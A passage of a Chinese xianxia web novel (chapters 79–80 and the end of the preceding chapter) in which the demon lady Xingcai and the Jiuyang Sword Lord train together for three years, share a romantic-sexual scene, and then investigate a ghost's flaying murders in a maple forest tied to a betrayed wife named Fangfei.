羽化生带人匆匆赶到十方山境，环顾空灵生烟的群山大川，轻叹口气：“两百年前，十方寺遭受重创都没想过以佛笼封山。这次，他们下定决心。”
下属禀道：“山泽崔洧已经自负荆棘，上天龙道请罚。”
羽化生冷笑：“青虞宗出动三十位金丹修士、五十位筑基修士，两名元婴剑修攻打高昌都城，守空国师和数名武道高僧战死，高昌皇室尽灭。战事在一天内快速落幕，山泽国主倒是会卖乖，先一步上浮空城请罪。走，本尊倒要听听他的解释。”
**
荇菜蹲在闭目静功的九阳剑尊面前，手不安分地绕着他的鬓角龙须，细细地卷着又让它自然松散。
九阳剑尊周身的功力时断时续，悬在走火入魔的边缘。蜃珠洞府的寒冰之气聚拢外释的灵力，在关键时刻帮他再次稳住灵场。
荇菜每每打扰他，九阳就会抽动眉心，时间一长，眼珠在眼皮下游走状似要醒。荇菜放过他，若继续骚扰他静功，道心不定的剑修就该入魔了。
她走出木屋，步入蜃珠的冰天雪地，漫步向冰雪大厅。在洞口徘徊数次，深吸口冰冷的空气后进入洞窟的深处。经过鲛童的冰体、扫眼柏黄的冰尸，停步在花涟的冰雕尸身前，冰里的花涟栩栩如生，微睁的目光平静祥和。
在花涟面前矗立许久，荇菜一言不发地转身离开。
步入冰湖处，九阳剑尊如剑的身影立在木屋前，不知在看什么。
荇菜收敛心境，轻松道：“调息好了？”
九阳剑尊转望她，目光从她的来路落在脸庞，抚向她的脸颊，揭掉一颗与肌肤贴合的冰泪：“不疼？”
荇菜抹掉另一边的冰痕泪意：“没感觉。”
九阳剑尊没再多问，环顾冰雪群山：“当年，鬼童炼成蜃珠时天降冰雷银柱，欲摧毁蜃珠。青虞宗集合众多高手的力量卸掉雷劫。此珠威力极大，乃是天级至宝。天也不容它。”
荇菜不知道蜃珠得这段历史，鲛童的记忆里只有鬼童拿着蜃珠求死的画面。
“青虞宗高层知道蜃珠的存在，为什么不据为己有？”
九阳剑尊轻扯唇角，淡然道：“鬼童是个可怜人，炼制蜃珠想送给诗逸。谁会阻止他呢？”
“因为蜃珠肯定会到阿逸的手中，青虞宗人默认此事。”荇菜绕过九阳剑尊，婉婉道，“这算不算沉默的杀人？”
“谁都想不到他是炼器天才，更想不到他会自杀。诗逸觉得此珠不祥，找个借口没有收下它。”九阳剑尊转望她的娉婷背影，忽然道，“我教你练剑吧。”
荇菜诧异地转身：“我只想睡你，不想做你的徒弟。”
九阳剑尊的脸色在冰雪中沁润绯色，噙着微妙的羞涩笑意：“不冲突。”
荇菜起丝逗弄他的兴趣：“你想教我什么？你修炼得是纯阳剑诀，而我非纯阳体质。”
“你怎知自己不是炙阳之体？”
“嗯？”荇菜恍然，“涅槃火？”
“不错。你有半身凤凰炙血，身带火种，足以修炼纯阳剑。”九阳剑尊走近荇菜，瞧入她仰望的晶润双眸，抬手捧在她左侧的脸颊，细且轻容地抚触，如拭爱剑，“学吗？”
荇菜歪头蹭在他的掌心，明明很暧昧，彼此都下意识守着最后一道底线。
她想起朱琴天，失去拜九阳剑尊为师的机会，却让自己有机可乘。这算不算夺运？
男主的气运被分散，就会削弱朱琴天在世人心目中的地位和光环。
又或者山泽水畔洞窟里得这幕，世人皆知朱琴天入邪道，说明他已不配拥有男主的气运。命与运本就相辅相成。
荇菜翘起唇角：“学。”
两人藏在蜃珠洞府习剑，近三年之久。至于外面的宗门纷争和世俗帝王之战，谁都没有去过问。
崔洧果然如荇菜分析得那样，利用山泽民众的民心所向从天龙道浮空城平安离开。
三年来，他派人开凿山泽和高昌国间的山川大河，让山泽大水途径高昌流向外海。
天生大陆的地理发生变动，汪洋水泽乡更名为云梦泽。云梦泽拥有大片的湿地河塘、滩涂良田，不仅让山泽国百姓繁衍壮大，羽民国的妖族也能在云梦泽各地安家。
崔洧不仅迁高昌国百姓入云梦泽，教导山泽百姓耕种植桑，也向欧丝等国学习走商贩卖，让山泽国的大船横行云梦大泽、高昌、欧丝等国境。
山泽国在天生大陆声名鹊起，渐有盖过天龙道的趋势。
崔洧没有停下脚步，下一个目标是西塔国。他颁下婚书，迎娶在青虞宗习艺的西塔国西家大小姐西双儿。
禾诗逸看向把婚书砸在地上的西双儿，淡定道：“双儿师妹，西家允许你加入青虞宗，就已经默认这桩婚事。西塔国以四家为首，西家想要吞没其它三家的势力，就要借住山泽皇室的力量。”
“为什么我只能像一件货物，总在被人待价而沽。我为什么没有选择的权利？从前是朱家的朱琴天，后来是朱荛，现在是山泽国主崔洧。呵呵哈哈哈……我算什么？我不要做货物。我不答应这门婚事，我不嫁！”
西双儿赤红双目，强忍住不掉泪。
禾诗逸撇开脸，突然道：“难道你能纠缠瑶姬一辈子？你们都是女子，不能在一起。”
“女子怎么？你呢，你以为我不知道你喜欢谁？”西双儿怒瞪，“她还不如瑶姬师姐专情。”
当日在山泽水畔的洞窟，荇菜假说朱琴天的承欢丹有解药，实则根本没有。
西双儿和瑶姬在琉璃宝车上因承欢丹发作，一时欲壑难填，以双珠缅铃成了好事。
琉璃宝车降落在青虞宗，金猴姐当众掀开帘子喊两人下车，留守的青虞宗弟子乍见两位美艳女子在车内相拥相亲的画面，一时目瞪口呆。金猴姐吓得当场架着琉璃宝车逃离而去。
瑶姬清醒后逃回天霄峰，西双儿始终过不去这关。
三年来，西双儿发现自己喜欢上瑶姬，而且被西家一次次当作交换利益的物品，为何不选择让自己放浪开心的人？即便她是个女人。
但是，瑶姬一直在苦守九霄师叔出关。
三年里，禾诗逸数次安慰西双儿，言说她和瑶姬两人不可能在一起。一次酒后，禾诗逸也不禁说漏嘴，告知西双儿自己喜欢的对象。
青虞宗二代弟子的三位女徒的混乱感情纠葛给外人津津乐道的八卦。
在这段复杂的关系里，九霄剑尊闭死关，合欢妖尊在十方寺和雷火寺一战里消失无踪，未曾再出现。
两人的隐退又给这段复杂的感情增添奇幻色彩。
禾诗逸转身离去：“若你不死心，上天霄峰找瑶姬，当面问个明白。”
天霄峰上，瑶姬醉酒当歌，喝得醉生梦死。拉住伤心而来的西双儿，抚摸她乖巧的脸蛋，胡言乱语：“别难过。若你不想嫁，我带你逃走就好。天下之大，何必苦守一座山头虚度光阴。三年了，三年里他从没想过外面有个人一直在等他。呵呵呵……”
西双儿忍不住落下眼泪：“我们可以逃去哪里？”
“三首国。不行，三首国的人矮身矮个，我们过去太突兀，容易被崔洧的人寻到。我们去高欧国，高欧的女子肤白貌美，爱以白纱遮面，谁也不认识我们。”
“好。”西双儿抱住瑶姬，“你爱我吗？”
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>“爱……”是什么？
“我们现在就走。”西双儿拉住醉醺醺的瑶姬，跳上飞行法器，直奔高欧国。
禾诗逸目送远去的法器，失落地背过身：“下发通缉令，追查青虞宗叛逃弟子西双儿和瑶姬。两个傻姑娘，”又被人利用。婚逃得是真好，给国主崔洧征伐西面三国的借口。
**
荇菜看向坐在冰湖前钓鱼的九阳剑尊，纵身一跃，精准地趴上他的后背：“哟，没摔呢？”
九阳剑尊提起钓竿，扬手一甩，大鱼落进木桶，侧头仰面望着她：“今日这鱼够肥美，你想要个什么做法？”
荇菜低头亲在他的唇角，含笑道：“吃你。”
九阳剑尊微垂头，羞涩噙笑，又坦然地背上她，拎起水桶回木屋。
木屋里升起一堆火，荇菜被他放在床榻，看着九阳拎着木桶去处理大鱼，斜靠在床柱边：“算算时间，我们躲在蜃珠三年，你不打算出去吗？不怕阿逸又满世界寻你这个师伯？”
“你的纯阳剑没有入贞化境，我不会出去。”九阳剑尊剥掉鱼鳞，回身道，“做鱼饭好吗？”
垂在床外晃悠的脚慢慢地停下，荇菜的神思一下子拉远。有些人和有些事遇见过、发生过，就会在不经意间重复。
三年的时间已经逃避得够久，不论是黑羽还是花涟，像是书中得一场梦。
仰看近在咫尺的男人，荇菜嬉笑道：“你守我三年，不想我出去祸乱世间。但是，世间不会因为我不在，就停下世人的野心和纷争。九阳，你在自欺欺人。”
九阳剑尊默默地坐在她的旁边，拉过她的玉手，抚摸握剑生出的茧子：“你很用心在习剑，我以为你喜欢过这样的生活。”
“因为我知道你不是终点。我只有学到足够的本事，才能站在他的面前。”荇菜微笑着说出冷酷的话，眸光里的温柔缱绻未曾真正直抵心头。
九阳剑尊舍不得松开这只玉手，亲在她的手茧处：“我们可以一直做这样的夫妻。”
“呵，”荇菜旋身倚在他的身上，轻易就把人推倒。
伏他上方，含笑俯视着他，“夫妻可不是这样。”低头舐在他的剑眉星目，浅啄唇角，迫他张口呼吸。一股精纯的至阳灵力从九阳的唇齿间奔涌而出，让人仿佛置身阳光下的丛林山道，闻到一股优雅的石兰暖香。
“夫妻该做的事还不止这些。”荇菜抚着他微睁的双眸，粗鲁地扒下他的衣衫，如羽般扫过肌肤。
纤葱细指宛如长羽，细抚着结实如绸的身体。她俯下身，沿凹吻过，湿漉漉地含着情，隔着衣物亲他。
九阳抵住她的双肩，用力抱紧，忍不住轻哼了声。
荇菜逗他，感受他的颤抖，偏就不让他如意。
九阳深吸口气，翻身把荇菜压向地板，手垫在她的后脑，没让她磕着，亲在她的额头，碾在她的唇齿。
彼此的衣衫半敞，坦诚相对。
九阳学她的举动，一路舐吻，至幽深，辅以灵力，让她越发舒畅。
“嗯……”
荇菜轻哼，啄吻他如剑的长指，压住滚到喉口的吟声。
指尖点着舌尖，唇齿舐着幽径，仿佛云和雨的较量，云欲乘风而上，雨欲降落人间，一场情和欲的较量，谁也不愿放弃对方。
可他们又无法真正的结合，只享受带给彼此的真实感官。
“走开。”荇菜一脚踹在九阳的肩头，翻身离去。
无法满足的欲让她燥热生火，只怪九阳这个总会在关键时刻刹车的男人。
修为高代表意志力高，连自控的能力都不是金丹、元婴修士可以比。对付九阳，温水煮青蛙的细磨功夫不行，霸女硬上箭的强取法也不行，非得要一个天时地利人和的顺其自然。
九阳剑尊坐在地板，拉上垂在腰间的衣衫，揉捏额头，轻而低沉地笑了声。
三年来，这股忧郁无奈能让人疯魔。至今未疯，因为他还不想就这样和她分别。
79. 第 79 章
剑行九道，纳恒阳炙气，御四海灵力，直轰而下。
剑阵中的恶妖被炙阳剑力穿刺而过，如灵气消散。
恶妖消散前发出不解地呐喊：“为什么……”妖尊庇佑天下妖族，为什么要为难妖族？
“因为你作恶。”
荇菜一把握住旋飞而回的流苏长剑，摄取落地的血红妖丹。她负剑身后，向倚靠大树得如剑青年走去。
曾经有过这样一段时间，荇菜常借用别人的气息化成江湖侠女。如今，她背负一把晶莹的流苏长剑行走云梦泽，过把除恶扬善的瘾。
山风拂颈，牵引如雾的白发轻浮。
九阳剑尊直起身，看她漫步走来，露出恬淡地笑：“你的剑术已自成一道，若不显露紫眸惑术，没有妖能认出你。”
荇菜也没想到十方山寺一战后，合欢妖尊在妖族心目中的地位仅次于天羽宗凤尊。在一些恶妖当中，紫眸妖尊比妖族凤尊还受欢迎。
“若本尊走你的路，怎么叫青出于蓝而胜于蓝？”荇菜把蝠妖的血妖丹抛去，被他接住后收入存丹鼎，“自从十方山寺退出修真界，原本会隐藏的妖族越发肆无忌惮，祸害百姓时都不会披人皮遮掩。”
“一物降一物。压制妖族的僧众在人世间消失，妖族行事就会横行无忌。十方山寺的僧众行走人世，五座锁妖塔的存在，都能对妖族起震慑作用。
如今，锁妖塔倒塌、文武僧众封山消失，凤尊又不禁妖族行走它国，百姓、妖灵的矛盾只会越来越激化。长远看，妖族和人族必有一战。”
九阳剑尊拳手抵在唇前，“咳咳咳……咳咳！”
荇菜看他状若病入膏肓的模样，轻哼了声，甩手穿过他继续往山上走：“若青虞宗的人看到你要死不活的样子还以为本尊采补过你。”
“你没有吗？咳咳……”九阳剑尊又重重地咳两声，发出低沉地笑声，跟在她的身后上山，“缉妖令上写，三国交界的青螺镇出现剥皮妖，我们去那吧。”
荇菜头也不回地冷哼：“本尊只答应除妖三次，这是第二次。”
“你还答应我，封印不破，就徒步行走世间，一步一印体会人世感悟。”
荇菜驻足山道，回头看向仰面望来的剑修，出手细细地摸在他的眼角：“曾经，本尊在这双眼里见过动情，那不是幻觉。”
九阳剑尊顺势按住她的手掌，贴紧脸颊：“现在呢？”
“现在，目中薄情，剑志依旧。”荇菜轻笑，“从什么时候开始，你转修无情剑道？九阳，你在拿本尊修炼你的剑道。”
三年时间，两人对彼此的身体无比熟悉，敏感处、动情处，无一不熟。
然而，这样的两人始终没有突破最后一步结合在一起，就如两人一个没有放弃用“本尊”自称，一个再没有用“本尊”自称。一个以本尊警醒自己，一个用本尊警惕自己。
两人的最后一步双修入魂、融为一体，乃是绝道死路。
荇菜知道，一旦与九阳结合，他会像那些人一样成为冰雪大厅的尸体冰雕。
他也明白，一旦沉迷诱惑，与她结合，坚持的剑道如她识海冰湖上的冰柱，终会散碎一地。他已经破除她的幻术诱惑，但没有突破分身正主带给分身的情执迷道。
九阳的目光细细地扫在她遮掉四分容貌的眉眼。即便她余下六分容貌，也是世人无法抵挡的美。
“你这样说，我也会说，妖尊不也在拿我修炼功法，抵抗功法控制你的心神吗？”
荇菜白眼送他，下山一步，与他平视：“三年来，本尊确实拿你修炼《玉石还阳功》，不被功法控制心神，吞噬他人生命。
你呢，你拿本尊渡剑修的生死情劫，真是各取所需。”
“咳咳！妖尊这样在意，难道爱上九阳？”
荇菜冷嗤：“谈不过就谈情？呵，你和妖尊谈感情，你的情未免太自以为是。”
九阳剑尊重重地咳两声，转口道：“那个让你爱上的男人真是让人嫉妒。三年时间，我也明白嫉妒不分修为等阶、男女性别、年龄大小。我嫉妒你的夫君，曾经先遇上你又被你记下的男人。尽管，我知道他们和我一样，未曾真正得到过你的心，依旧忍不住生出嫉妒。”
“冠冕堂皇。本尊也以为舍不得你，却能容忍你拿本尊修炼剑道。”荇菜不否认他得这份嫉妒，因为他坦然得接受嫉妒这份情感，又坦然地说“我爱上你，但我克制得住我自己。”
这是高阶修士的上层道意，自控力远飞低阶修士可以比拟。
荇菜抽回手，转看一侧的辽阔山境，翻回旧账：“你不曾说你在修炼无情剑道。”
“若我不走无情剑道，怕是刚入蜃珠洞境就已没命，哪还能坚持到现在。”九阳剑尊站在她身旁，低首胸前的苍苍白发，“即便转修无情剑道，我也付出代价。”
“嗤，收起你可怜的模样吧。若本尊没有窥见你的剑意心魔，当真被你的深情骗过。”荇菜再次翻个大白眼。
九阳识海里如瀑高悬的白色长炼，乃是纯阳剑力，炽白如瀑。不知道从什么时候开始，他修起青虞宗少有人走，但走一个就能让全宗出名的无情道。
“你以习剑为名，困本尊三年，用三年时间对本尊最盛的容貌和身体祛魅，所谓审美疲劳嘛，一张再美的脸看得太久，不说眼睛看什么都一样，心也会生出乏味。你对本尊的容貌免疫后，接下来让本尊答应你除妖三次，想对本尊的人品祛魅。”
九阳剑尊轻笑，与她一起瞭望山川远野。浮云如苍狗，倏忽已变迁。
“你驱使美兕诱惑惊雷，造成十方山寺变动。这样的人品怎会让人迷恋？”
“是啊。但凡三观正常点，都不会爱上让世间动乱的妖女。本尊也不需要你的迷恋。什么时候你的剑道修成，就是你消散得那刻。本尊倒要看看，无情剑道能否扛得住本尊的《还阳功》。”荇菜重重地哼了声，绕过他继续往山上走，“你从什么时候开始修炼无情剑道？”
九阳抿唇无声，跟上她的脚步：“初次见你时，在天霄山的山道，乍见心喜得那刻，我心生危机。
天龙道归魂殿，道生花以自爆法门脱身，入我识海被你剥离阵法，我察觉道生花依旧被那人捏在掌心，才下定决心入无情道。”
九阳剑尊缓下脚步，目视她仰首挺直的背影，流苏剑的流苏与她的黑发纠缠，宛如剪不断理还乱的情丝。
他的眸光深邃又澈朗：“化神乃是修士间的分水岭。化神以下，修士力求破七情六欲，但不能完全勘破人间世情。元婴修士还会做人间帝王的打手。但是，化神以上，修士会敛七情入元婴，尝试分神入元婴。
合体境时，人和元婴再度合体，炼体炼心炼化七情六欲，不被情和欲困惑。
我本就处在这个阶段，若想要脱离分身的身份，入无情道斩分神七情六欲，不再动情执性。”
“原来是这样。”荇菜慢下一步，回看他，他又在看山野。
她想起花涟曾经解说的高阶修士的境界
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分层，其中化神、合体等境界说法与九阳说得差不多，“你处在合体境，试图斩掉入元婴的七情，本尊的存在正好是你入无情剑道的引子。”
“无情非绝情，大爱无疆，情至天下众生，视为太上忘情。青虞宗的无情剑道，又名太上忘情道。”九阳剑尊轻撩一缕山风，拂向荇菜。“我不会杀亲友证道，若行此事，无情剑道也是邪道。”
荇菜好像听到风在唱歌，捋顺耳边的长发，原本被流苏缠着的头发也已理顺。
她给九阳剑尊竖起大拇指：“若花涟有你这份魄力和决心，不会选择突破化神。人这一生，遇上他们一二位，已经三生有幸。话说到这份上，你又为什么甘愿输出灵力，被本尊吸收，害你几近跌境白发。”
“我已经说过，嫉妒。”九阳剑尊穿过愣怔的荇菜，先一步走上山，“太上忘情，必先入情。嫉妒正是七情之一。”
“你很坦然。本尊也觉得坦然迎接‘它们’，可以破除世间一切情道迷障。”
九阳剑尊咧嘴，就差笑出声。
他回身牵住荇菜的手，颔首道：“坦然接受正是破除七情迷障的关键。但是，人还是会顺心遂意，想要超过他们在你心中的位置。”
“活人怎么能同死人比。”
九阳剑尊恍然，亲了亲握住的纤手：“娘子真是好智慧。今日起，我不比也不嫉妒了。”
荇菜气得直接抽出手，又破怒为笑，主动牵上他的大手：“好你个九阳剑尊，不愧是合体修士。行，做完两件除妖事件后，本尊就看着咱俩鹿死谁手。”
两人徒步行走，一路上留下行侠仗义的“灼华双剑”名声。
灼之夭夭说得是荇菜，华之裳裳说得是九阳剑尊，宛如真闯荡人世间的侠女剑客。
至西塔国的边境，九阳剑尊发现荇菜比往日沉默，不解道：“青螺镇位于欧丝国境，近乡情怯？”
“没什么，想起些夫唱妇随的事。”
当年在青螺镇的秋日赏枫宴，荇菜与花涟以枫叶定情，又以枫叶分别，最终演成诀别。
九阳剑尊抚摸心口，深吸口气：这姑娘什么都好，就喜欢挑战人性。我说不嫉妒就不嫉妒。
荇菜挑眉，观他脸面，清朗有力的眸光依旧韵着淡淡的情绪。
“一月来，你的坦然道好像没这么容易坦然啊。”
“若娘子……”
“别这么喊本尊。尤其这地方，更不行。”荇菜快步离去。
她踏入枫林，踩到一具尸体，迎风望去，空气里满是腥臭尸味，幽暗泛红的枫林里飘荡着尸体，宛如林中随风飘摇的猩红枫叶。
九阳剑尊随在她身后，目睹枫林里这幕，蹲下身查看尸体：“剥皮去脸，真是好残忍的手法。缉妖令上说得就是此地。”
荇菜步入枫林，当年赏枫盛景代入现在，还真是两个场地。她仰头看向浮荡的尸体，驭剑气割去绳索，任尸体砸落眼前：“没有皮也没有血，嗜血的妖。难道又是蝠妖干的好事？”
九阳剑尊蹙眉道：“青螺镇上一片荒凉，这林里挂满尸骨，看来此妖穷凶极恶。”
“你我分开走。你的纯阳之气让妖物不敢现身。”荇菜抛出玲珑球，选定一个方向快步走去。
九阳剑尊换相反方向，漫步走入枫林。雾气弥漫，幽暗的枫林越发寒凉阴冷。
荇菜穿过薄雾，踩入一条清澈泛腥气的溪边，一道腥风袭来，耳畔传来诧异地呼唤声。
“花娘子，菜菜？”
80. 第 80 章
荇菜回眸望去，似曾相识的花容立在浅溪对岸遥遥招手。
“花……容？”
“花娘子，是我。”花容身穿华服青褂，试图跨过浅溪又被无形的力量阻挡，“花娘子，快过来，那边危险，快过来呀。”
荇菜诧异地回头，正见白衣芳华的芳菲立在小血枫下，似才喊“菜菜”得就是芳菲，花容的妻子。
“……芳菲？”
芳菲的眼里沁着血泪，轻轻地点头，背身离去。
荇菜眨几下眼，紫眸凝定，瞧向两边：花容一身血衣，面无脸皮，被无数的红丝怨气纠缠着无法过河。芳菲的白衣沾血，血滴在地面的枫叶，被踩出一个个凄惨可怖的脚印，踉跄着走远。
荇菜思绪如电，追向芳菲：“芳菲……”几步跨出后幽暗的枫林豁然明朗，宛如在秋高气爽的天气里出游赏景。
枫林里，小姐妇人、书生才子似一缕缕虚烟，三三两两在林中相聚。她们落落攀谈或低首交耳，似有说不完的话。
荇菜驱使玲珑球，以涅槃火开路护身，步入幻境。
这里正在上演曾经发生过的事。
“幻境？鲁班门前弄斧。芳菲，你想给我看这些吗？”荇菜没有打破幻境，漫步参与其中，决定再观望一会。
芳菲身着华丽的白色绸裙立在众女当众，宛若众星捧月，正在婀娜起舞。围观妇人、小姐神色不一，各有面容。
荇菜回忆当年的枫林赏枫宴，认出几位故人。
当年将芳菲唤走的妇人名唤柳夫人。
柳夫人坐在赏枫宴的上首，与娘子、小姐们觥筹交错，间或指点芳菲的舞艺，喝酒赏玩再点评一二。
荇菜发现问题，芳菲和花容是花家村人，芳菲根本不会跳舞。幻境林里的芳菲却在翩然起舞，越跳越炫美。
突然，芳菲腿软，一下子跪在场内。席上的小姐、夫人们嘻嘻哈哈大笑起来。
花容快步入场，扶起芳菲，试图将她带离现场。
柳夫人当众说：“怎么，这样就舍不得了？她自愿给我们跳舞助兴，谁也没强迫她。”
围观人纷纷响应。
芳菲起身后向柳夫人拂身作揖，反让花容先离开，咬着牙继续在场内舞蹈。
“怎么会这样？”荇菜很不解：芳菲为什么非要这样呢，比美、逞能又或者为什么？
枫林的光影逐渐暗淡，独留芳菲泣血而舞，渐渐地连她也消失无踪。
一阵凉风袭来，荇菜忍不住哆嗦：“这就是阴风了。”
九阳剑尊从不远处走来，缓声道：“如何？”
“在林里看到花家村的熟人。你有什么发现吗？”
九阳剑尊背在身后的手敲击手背，淡笑道：“你答应我除妖三次，这是你的第二份任务。”
“这么说你有发现也不会告诉本尊？你别忘记，若不是本尊放你出蜃珠，你都出不来。”荇菜睨他。
九阳抿唇，淡笑不语。
事实正好相反，若不是九阳剑尊放荇菜出蜃珠，荇菜还被逼着在蜃珠洞境里练剑。九阳剑尊之所以放她出来，正是想让荇菜知道这个世道没有十方山寺又会如何？
荇菜知道枫林剥皮案与芳菲和花容有关，决定回一趟花家村。
“本尊要去看望故人，先走一步。”
九阳剑尊目送她离开，目光锁定幽暗处得一棵小血枫，转出树林往青螺镇上去。
驱恶除妖的事简单。但是，妖分好坏、魂分善恶，还是要弄明白各中缘由才好决定他们的去留。
这边，荇菜步入花家村，一直走到与花涟住过的老房子。此刻，房子里已经有新的主人，两个半大不小的孩子正在院子里玩耍。
男童发现荇菜，走来道：“姐姐，你是谁？”
荇菜矮下身：“花容把房子卖给你家？”
男童：“是啊。花容相公家的宅子卖给村长。他家没人了。”
荇菜昂首看向隔壁，不解道：“他家发生什么事？”
男童的娘亲走来，细细地扫眼荇菜，要拉上男童关院门，不经意间瞧入荇菜的眼眸。
妇人晃了下神，重新打开院门，请荇菜入宅。
荇菜坐在木桌边，环顾宅子。此处的格局大致没变，多了不少农居、菜畦。“物是人非”四字概括最是恰当。
“这位夫人，我无意过多打扰，麻烦你告知下，花容家发生什么事？这处宅子又为什么会卖给你家？”
妇人有些摸不着头脑，不明白这位姑娘怎么就坐在院内，自己也坐在她的对面。
出于为人母亲的担心，她先让两个孩子回房间，再继续道：“花容相公和芳菲娘子在村里十分恩爱，也十分有名。
半年前，镇上来一架马车，说是柳夫人邀请芳菲娘子过府作客。后来，芳菲娘子再没回来。花容相公倒会时不时回来，村人问他芳菲娘子去哪里，他说人在镇上的柳府谋份差事，成了柳夫人的管事。
几日后，他家多一位年岁不大的姑娘。那姑娘擅自做主把宅子卖给我家。我家本不贪这便宜，但实在是分家需要，就住进来。
村长立契写的买房文书，我家是正正经经付过钱的。
买卖时，我们打听这位姑娘的身世，她自称是镇上柳夫人的丫鬟，柳夫人把她送给花容相公做妾。
又过一个月，这位小妾姑娘卷走花相公的钱银，跟村里名唤花牛的男人跑掉。花容相公就进镇报官追凶，回来就把自家的宅子卖给村长家。
之后，花相公再没回来过。
听说……”
荇菜默默地听着，拍在她纠缠在一起的手背，渡过去一缕灵力安抚她：“夫人还听说些什么？”
“听说，镇上的柳夫人看中花相公的俊容，使了诡计骗芳菲娘子进镇，又把人害了。为安抚花容相公，柳夫人遣个丫鬟来做妾。”
妇人的脸色有些白，目里含着愤恨和担忧，“后来，两夫妻死在镇外，就在枫林。如今，镇郊外的枫林闹妖闹鬼，已经无人敢去。
我知道就这么多。”
“多谢。”荇菜起身后放下一锭银钱：“夫人，此处宅子集福，请放心安居。”
妇人从花容小妾手中买下曾经的花公子宅邸，一直都有些顾虑。此言过后，她心中藏着得这份顾虑消失了。
不敢直接拿银子，先送荇菜出宅。
两个孩子从大门后跑出来，扑抱自家的娘亲，咿咿呀呀问起偷听到的人。
荇菜走到花容家的院门口，他家已经被花家村的村长传给孙子孙媳妇居住，没留下过多的线索。若要确切知道花容和芳菲出了什么事，还得上青螺镇的柳夫人家。
在青螺镇的酒栈处，荇菜看到兀自坐着喝茶的九阳剑尊，上去道：“你怎么在这？”
“等你。”九阳剑尊推过去一盏茶，瞧她喝了口，才慢慢道，“我打听了下，一个月前，柳府死了一位名唤芳菲的舞娘，被葬入枫林。此后，枫林才开始陆续死人。”
“芳菲怎么会做舞娘？”荇菜细细地回想，“也对，她嫁给花容时不过豆蔻年华，乖巧懂事又能干，算起来去世时也才二十。”
九阳剑尊举下茶盏：“你关注的点真是奇怪。”迎着她无语的目光，接着道，“我还打听到，柳大人自中举后一直留在京都任职，甚少回青螺镇。柳夫人一直是孤身一人住在府邸老宅。镇上的书生考不上功名，为得到柳大人的举荐信都会去拜会柳夫人……嗯。”
“你的嗯是什么意思？”
九阳剑尊的目光一远，看向远处走来的人：“十方山寺的和尚。没想到世间还留存一脉。这样的话，枫林的事情就好解决。”
荇菜好奇地回头望去，当即起身道：“走。”
她拽上九阳剑尊，抛下一锭银子跑出镇，向枫林赶去。
远处的和尚身着脏污到辨不出颜色的袈裟，火云子从青年和尚变成粗糙的大汉和尚，手敲击木鱼、闭目过市。
自十方山寺一战后，他按龙弼大师的意思上浮空岛讨要说法，得知惊雷师兄的师父守空大师为护高昌国战死，更是难忍悲痛。
然而，他刚上浮空岛，被章鹏剑修阻拦，更被打落进汪洋般的水泽乡。
自此后，火云子的眼睛就再没有睁开过，一直用心眼通行走天下。
九阳剑尊看向蹙眉的荇菜，没再提十方山寺的话题。
“半个月前，柳夫人同回乡的柳大人一起离开青螺镇，去往欧丝国都。另外，我问到芳菲是被她的丈夫送进柳家为艺。”
荇菜听他话里有话，烦躁道：“你能不能说得全面点，比方花容考过秀才，却没有通过城主府试，向柳夫人讨要举荐信。为讨好柳夫人，芳菲去学舞艺，被花容送给柳夫人？”
九阳剑尊环顾暗淡晦涩的枫林，颔首道：“我推测的情况也是这样。具体细节要看里面的怨灵怎么说。娘子……”
“本尊说了，不要这么喊！”荇菜头也不回，纵身向枫林深处跃入。
九阳剑尊回神看向枫林入口，木鱼声越来越近，确实冲这剥皮案而来。
荇菜踏入浅溪，花容的怨魂再次出现。她没有理睬花容，回头看向血糊糊飘着的芳菲，再次跟上她。
枫林再次弥漫晦气，直接被荇菜御剑挥散。
“芳菲，不如直接给我看让你生不如死的画面。这样，我也好给你讨回公道。柳夫人不是没死吗？”
芳菲的虚影在小血枫树下凝定，泣着两行血泪：“菜菜，你真得回来了。”
荇菜的紫眸细细地观察她，不解道：“芳菲，你和花容究竟发生什么事？”
芳菲先说得不是她自己的故事，而是：“花娘子，对不住，你家的小宅被……卖掉了。”面上含着惭愧，额心的枫叶花钿却猩红如血，衬得她的脸越发娇艳欲滴。
怨魂在大量嗜血后增强内在的魂力，外显的模样越发像人，也说明芳菲杀不少人。
“……不碍事。我的夫君已经过世，我回不去那宅子。”荇菜上前，伸手想要碰触她，紫眸瞧清她的脸面上无一处完整，不由握拳，“你们夫妻究竟发生什么事？”
芳菲垂首苦笑：“秋日枫林宴。花娘子和花相公在枫林定情拥吻，此地就成青螺镇男女最喜欢来的地方。”
“嗯？”荇菜不明白此地的血案还和当年的自己和花涟有关。
她分明记得当时与花涟亲吻的场面，被妇人、公子们戏谑、骂成伤风败俗。现在已是秋末冬初，也不是开赏枫宴的时候。
“菜菜，随我来。”芳菲一把抓住荇菜的手腕，拉她步入盛秋时日的枫林，红黄青绿，姹紫嫣然。
又是幻境。
荇菜的手被握住的地方阴冷寒凉，泛起丝丝黑煞凉气。
她没有挣开手，随芳菲步入各种虚烟幻境。
林里的男女虚影或调笑或亲吻，仿佛一处勾栏庭院。枫树下摆放一张席或毯，男女交叠，做着那极尽羞耻的事。
芳菲拉荇菜至一处大枫树下，立在赤身交叠的两人身旁，忽然喊道：“夫君，你看谁来了？”
荇菜诧异地看向转过头来的男人，正是芳菲的相公花容。
“怎么是他？”
花容身伏的女子不是芳菲，而是在宴会上欺负芳菲的柳夫人。
荇菜仿佛吃口苍蝇般恶心，看向身旁的芳菲：“怎么会这样？”
芳菲苦笑道：“柳夫人的相公中举高升，把她留在青螺镇主持老宅家事。镇上学子为攀附柳大人，会去拜访柳夫人。我和相公也不例外，由一位名唤罗明的公子帮忙牵上柳家这条线。
为夫君的前途，我甘愿去勾栏学舞，在枫林跳舞逗柳夫人开心。不知什么时候开始，柳夫人和夫君生了情，在枫林里欢好。
这处地方真是太肮脏了。”
芳菲看向不语的荇菜，忽然转向一侧出现的花容：“夫君，记得你夸过花娘子的颜色好，说花相公有福气。今日你又唤她过去，我把她送给你吧。”
芳菲出掌一推，将荇菜狠推向花容。
荇菜不明所以地倒飞而起，被打向花容。她在半空回头望去，芳菲的魂魄悬着红丝，仿佛针线般紧紧地缠绕她，与此前的花容身上的红丝如出一辙。
而她的怨里也有一股针对荇菜。
枫根如藤，迅速缠住荇菜，将她按在地面。
花容试图拖走荇菜，而芳菲已经掐住柳夫人的脖子，上演残杀剥皮得一幕。
芳菲用荇菜转移花容的注意力，而后试图虐杀柳夫人。
荇菜并指御剑，割裂枫根，旋身一转后剑指点在花容的额心，目光与转过来的芳菲血眸相对：“你……在剥皮？”
芳菲旋手一勾，血淋漓的贵妇悬吊上枫条的粗枝。二重幻境破碎，被吊起来得根本不是柳夫人，不过是一名死去多时的女子。
